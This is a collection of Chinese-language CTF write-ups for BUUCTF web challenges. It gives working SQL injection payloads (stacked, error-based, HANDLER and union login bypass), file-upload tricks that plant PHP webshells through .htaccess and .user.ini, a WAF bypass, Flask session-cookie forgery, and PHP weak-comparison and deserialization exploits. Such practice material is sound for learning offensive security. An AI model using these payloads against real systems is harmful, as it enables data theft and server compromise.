buu题目合集(一)
记录一些刷题的做法与思路
0x01 [强网杯 2019]随便注
简单题目,但是姿势很多

直接是GET传参,首先要找闭合的符号.
输入payload:1" and 1=1--+
能正常执行,但是换成1" and 1=2--+
也能执行,判断"
并不符合
在试1' and 1=1--+
,能正常查询,换1' and 1=2--+
不能执行,可知'
才是闭合符号.
打入1' union select database()--+
,回显有waf

select
被过滤,尝试一下经典的几个绕过un/**/ion se/**/lect
、/*!%55NiOn*/ /*!%53eLEct*/
等都不能绕过.
尝试堆叠注入,1';show databases--+
能成功
先查当前数据库中的内容,
1';show tables--+ |
接下来就是读字段的问题。
第一种方法、能堆叠注入就能执行sql语法,就能拼接出select
1';set @sql=concat('s','elect flag from `1919810931114514`');PREPARE q FROM @sql;EXECUTE q;--+ |
先构造查询语句,再执行构造出的语句
第二种方法,看别的师傅的方法真的太骚了,使用了题目原来就有的select语句
修改表名与字段名,添加上id字段,就是将友flag的表结构构造成words表一样,使原来的查询语句将flag查出
使用:
1';show columns from words;--+ |
查询两个表的结构、
words:
1919810931114514表:
需要添加一个id字段,将flag字段名改成data
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALERT TABLE words change flag data VARCHAR(100);--+ |
然后直接查12
就能查出flag
0x02 [SUCTF 2019]EasySQL
写这个题之前那需要了解几个sql的知识点:
1、select 1 from table;
此sql语句查询结果是临时建立一列,每行的值都是select
后面的数字(字母则会报错),行数与表里的行数一致,可以用来查询表中是否有记录。
2、select 1||columns from table
在MySql
中sql_mode默认是不设置pipes_as_concat
即||
当作或运算使用,所以,上面的语句1||columns
如果columns
在表中存在,则相当于select 1 from table
,结果跟上面的知识点一样
但是如果columns
不在表中则会报错:

当然如果是0||0
,相当于select 0 from table
,则会查询出一列0

若sql_mode中设置了pipes_as_concat
即将||
当成concat()
来使用,将两个参数合并,会得到一下结果:
能查出正确的列并且在正确的值前面加上了另一个参数,如果是两个存在的列,则将两列的值合并
现在看回题目,无论输入任何数字,回显都一样:
输入字母则没有回显:
试试闭合的语句,大部分都没有回显,但是1"
时,显示Nonono
:
输入union、extractvalue、from、PREPARE、flag
等等都是一样被过滤了,联合查询时不可能了
试试堆叠
1;show databases; |

能查询,查一下表注意看这里是有两个查询结果的
了解以上知识可以猜测,查询语句可能是,并且带有过滤
select $_POST['query'] || flag from table |
在上面查表的时候,前面时1
的时候,第一个查询结果是数组1;为3
时第一个结果是数组3,说明是执行了一个select 数值;
的;也能说明我们的猜测很可能是正确的
所以在这里就有两种做法
一个是使用select *
,借用后面的from语句查表,即
select *, 1||flag from Flag; |
另一个是将||
变成concat()
使用,即
query=1;set sql_mode=pipes_as_concat;select 1 |

分号截断了select
,所以要带上select
;可以看到flag前面还带有一个1
0x03 [极客大挑战 2019]Upload
明显的文件上传到但是文件格式限制为图片
bp抓包后改文件名,还是过滤很多后缀php、php5
等等
修改phtml
,能上传,但是检测<?
字符串
换一个方式
<script language="php">phpinfo();</script> |
上传成功,但是猜测上传的路径是/upload
。。。。。。。
执行成功,直接换成木马,蚁剑连接就行
0x04 [ACTF2020 新生赛]BackupFile
点开说让我们找源码,直接dirsearch扫一遍,buu设置了限制,要调整一下线程与延时
python3 dirsearch.py -s 2 -t 1 -u http://**** |

访问就能下载源码
|
可以看到是传入key
,并且只能是数字,然后跟字符串"123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"
比较
是php
中的弱比较

所以直接传入key=123
即可

0x05 [RoarCTF 2019]Easy Calc
输入表达式能计算结果,查看源代码是向calc.php
发起了请求
<script> |
直接访问calc.php
,能看到源码
|
能看到过滤了挺多字符,自增、取反等无字母都不行了,但是还能考虑无参数RCE
尝试传入num=phpinfo()

报错don't have permission
,正常传入12*12
能成功返回

多次测试只有数字跟运算符才可以,字母都不能访问,而且,前端源码写了设置了waf,应该就是waf的作用了
学习一下,waf可能是限制num
必须是数字,例如某个防火墙:
alert http any any -> $HOME_NET any (\ |
以上规则就是限制参数只能是数字,但是结合php
的字符串解析规则,当POST
或GET
传入的参数后,会进行解析,将参数名中的空白符删去;对特定的符号进行替换,例如将[
替换成_
等
这样一来就有方法进行绕过,%20num
在waf中能通过,而且在php的解析中也能将值传给num
尝试?%20num=phpinfo()

能成功执行,于是采用无参数rce
首先是var_dump(scandir(chr(47)))
,查到有f1agg
,构造读文件file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

0x06 [HCTF 2018]admin
先随便注册登录看看,
登录后带有cookie,在change password
页面存在信息泄露,能明确是flask框架

那么session就能先尝试解密,用P神的解密脚本
#!/usr/bin/env python3 |
python3 session_decode.py cookie |

但是仓库已经失效了,直接找wp
解法一:
在config.py
中有
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' |
使用脚本进行加密https://github.com/noraj/flask-session-cookie-manager
python3一直不能成功,换成python2,将name换成admin,密钥用ckj123
,生成后替换cookie再次访问

解法二:Unicode欺骗
源码中使用了自己编写的函数strlow()
将字符转换为小写字母
from twisted.wordsprotocols.jabber.xmpp stringprep import nodeprep |
nodeprep
是由twisted
导入的,在requirements.txt
中是Twisted==10.2.0
而最新版本是22.10.0,相差较大,搜索可知Twisted
存在Unicode
的问题
Twisted会进行unicode字符的转换
ᴬᴰᴹᴵᴺ -> ADMIN -> admin |
也就是说注册时使用ᴬᴰᴹᴵᴺ
来注册会第一次调用strlow()
,将ᴬᴰᴹᴵᴺ
变成ADMIN
,再去修改密码,再次调用strlow()
,ADMIN
会变成admin
,密码也会修改,就能登陆成功

能看到注册后登录就是ADMIN
,去修改密码即可

修改密码后登录admin
能解出
解法三 条件竞争
网上找打一些关键源码
|
可以看到/login
路由中,如果是POST
请求过来,则会先对session["name"]
进行赋值,再判断账户密码是否正确,这样一来,在登录的账户密码判断前,sessioon["name"]
的值可以暂时由我们进行控制
再看/change
路由中,如果由POST
请求过来,则会获取session["name"]
的值,对该账户名进行修改密码
那么就会存在我们使用admin
来登录,即使他不能登录成功,但是session["name"]
的值会改变,在session["name"]
的值改变后,login()
的逻辑结束之前,如果/change
路由有POST
请求过来,那么就会获取到admin
的账户名,并且对他进行修改密码,那admin
的密码就会被改变
贴出别的师傅的脚本
import requests |
0x07 [BJDCTF2020]Easy MD5
f12消息头中有hint

select * from 'admin' where password=md5($pass,true) |
先看看带有两个参数的md5()
函数,第二个参数如果是true
,则会将32位md5()
的结果转换成16位的字符输出

那么我们就要构造
password = '***' or true |
这样类似的结构来实现注入
在mysql中,表示true
的字符与php
类似,"1ufif"、“1”、1
等都是true
给出比较常用的ffifdyop
,经过md5()
后转化的字符结果为'or'6É]é!r,ùíb
就能使先闭合,输入后进入下一个网页

可以看见部分源码为:
|
是md5的弱比较绕过,直接传参
a=s1091221200a&b=s155964671a |

下一个源码
|
跟上一个差不多,到那时用了强比较,上面的payload就不行了,但是能用数组绕过,md5()函数不能处理数组,会返回NULL
,可以相等
param1[]=1¶m2[]=2 |

0x08[极客大挑战 2019]BuyFlag
/pay.php源码泄露
|
传参不能是数字但是要求等于404,弱比较"404afdsgfdf" == 404
还要求是CUIT
的学生,Cookie: uesr=1
要付钱post传参money=100000000
,但是提示money过长,应该是有长度限制,传10e9

0x09 [MRCTF2020]你传你🐎呢
记录一下.htaccess
文件的内容
<FilesMatch "shell"> |
此文件识别文件名含有shell
的问及爱你,并将其解析为php文件
AddType application/x-httpd-php .png |
这个则将所有png
文件解析为php
先上传.htaccess
文件,将Content-Type
修改为image/png
;再上传相应的png
木马图片
0x0A [ZJCTF 2019]NiZhuanSiWei
|
代码审计,text
可用伪协议php://input
file
也能使用伪协议读取一下useless.php
的内容看看需要序列化的内容

//useless.php |
最后payload
GET /?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1 |

0x0B [极客大挑战 2019]HardSQL
按照题目名字是sql注入,但是过滤了空格、=
等,fuzz一下看一下还有哪些

能看到update
没被过滤可以尝试一下报错注入
经过尝试,闭合的符号是'
.
先尝试updatexml()
进行报错,即updatexml(目标xml文档,xml路径,更新的内容)
,如果or
被过滤这里还能使用^
来代替
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23 |

查一下表名,=
被过滤但是还能用like
,空格被过滤可以使用()
来分隔
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23 |

查字段名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23 |

查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,%27~%27,password))from(H4rDsq1)),0x7e),1))%23 |

报错注入有字符长度限制,需要用到left()、right()
函数来得到完整的信息
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23 |

还有一个函数是extractvalue()
,跟上面的类似,但是这个函数只有两个参数,即extractvalue(目标xml文档,xml路径)
两个的注入语句都是再xml路径
的位置,语句一样的就不重复写了
0x0C [SUCTF 2019]CheckIn
尝试上传图片马

内容过滤,上传<script language="php">phpinfo();</script>
,能成功上传,并给出了路径与目录下的文件

但是并没有解析成功,尝试上传.htaccess
文件,但是有文件格式过滤,报错exif_imagetype:not image!
,加上GIF89a
的文件头能绕过,成功上传.htaccess文件,但是仍然不能解析成功
参考这个文章,还可以使用.user.ini
文件来进行包含外部文件
先看看.user.ini
的介绍
.user.ini 文件 ¶ |
即,可以使用.user.ini
文件来
更改php的配置,重点看auto_append_file
、auto_prepend_file
这两个参数的设置,可以设置包含外部文件,类似include()
函数.
但是,要求上传的目录下存在可执行的php
文件
#.user.ini |
js_phpinfo.png
就是要包含的木马文件名,上传该配置文件后再上传js_phpinfo.png
的木马文件
使用蚁剑连接

0x0D [网鼎杯 2020 青龙组]AreUSerialz
|
代码审计,先捋捋思路,通过控制op
的值,能进行内容读写,但是对上传的序列化参数有限制,只能出现可见字符,但是FileHandler
类的变量是protected
类型的,序列化会出现0x00
的不可见字符,需要绕过.php7.1+版本对属性类型不敏感,
所以可以直接使用public
属性的变量就能绕过
还有就是__destruct()
中,将content
置空了,所以写文件没有多大作用,考虑读文件,要使if($this->op === "2")
不成立,但是要使if($this->op == "2")
成立,前者是强等于,后者是弱比较,所以op=2
就能实现
|

0x0E [GXYCTF2019]BabySQli
给出登录框,尝试登录admin:admin
,不出意外登陆失败,查看请求是pw=admin&name=admin
尝试sql注入,使用'
不加注释就报错提示语法错误,加上注释就正常,能确定'
是闭合符号
但是过滤了好多or, (), information_shema, order by, database
等等,尝试admin' and 1 -- -
跟admin' and 0 -- -
时返回不一样,考虑是不是能bool盲注,但是又没有()
,不能使用函数,也打不了
使用union select 1,2,3
判断出字段数是3
注意到页面上给了一段注释的字符串

base32再base64

select * from user where username = '$name'
这么看只能从union下手了,看了下wp,密码上还存在MD5的绕过(这不看源码真想不到)
这就要说一下账号密码登录的后台的经典逻辑,先用传参的用户名到数据库里面进行查询select * from user where username = ?
,从查询的结果中取出密码的值或者哈希值,再将传参的密码的值(或者哈希处理的值)进行比较
那么我们就能使用union的查询,改变后台的查询结果,控制密码的值或者哈希值与我们传参的密码相符合
那么我们就要知道应户名跟密码的所在的字段在那个位置,当使用a' union select 1,'admin',3 -- -
是返回是wrong pass!
,其他的都是wrong user!
,说明用户名的位置就在第二个,那就猜测密码在第三个位置,所以要将密码(或者哈希值)放在union语句的第三个位置,这个题目里面的密码还用到了md5()
处理,所以可以在sql语句里面插入md5的值,在传参pw为相应的字符;也可以使用md5绕过的方法,例如md5()
不处理数组,会返回NULL
,两个的payload分别如下:
name=a' union select 1,'admin','202cb962ac59075b964b07152d234b70' -- -&pw=123 |

0x0F [GYCTF2020]Blacklist
'
闭合符号,直接注,可以union
,堆叠,但是发现有过滤
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
先用堆叠看一下表结构 inject=0';show tables; -- -

select
被过滤,报错注入联合注入都没有了,但是MYsql还有一个特有的轻量级查询语句Handler查询,可以尝试一下
-- 用法 |
所以我们用0';handler FlagHere open as fuck;handler fuck read first; -- -
,直接就出了
